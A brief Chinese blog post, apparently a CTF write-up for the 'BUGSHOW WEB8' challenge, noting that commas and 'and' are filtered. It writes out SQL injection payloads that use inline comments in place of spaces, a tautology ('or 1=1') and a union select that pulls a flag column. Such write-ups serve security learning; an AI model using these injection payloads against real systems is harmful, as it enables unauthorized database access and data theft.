BUGSHOW WEB8实例

日常开靶机

直接/?id=1/**/or/**/1=1#

 

 

 

试试web7的做法

 

?id=-1/**/union/**/select/**/1,flag,3/**/from/**/flag被过滤了逗号和and

 判断为真时有回显,蹭大佬脚本

 

posted @ 2021-07-18 23:49  Dixk-BXy  阅读(23)  评论(0)    收藏  举报
Live2D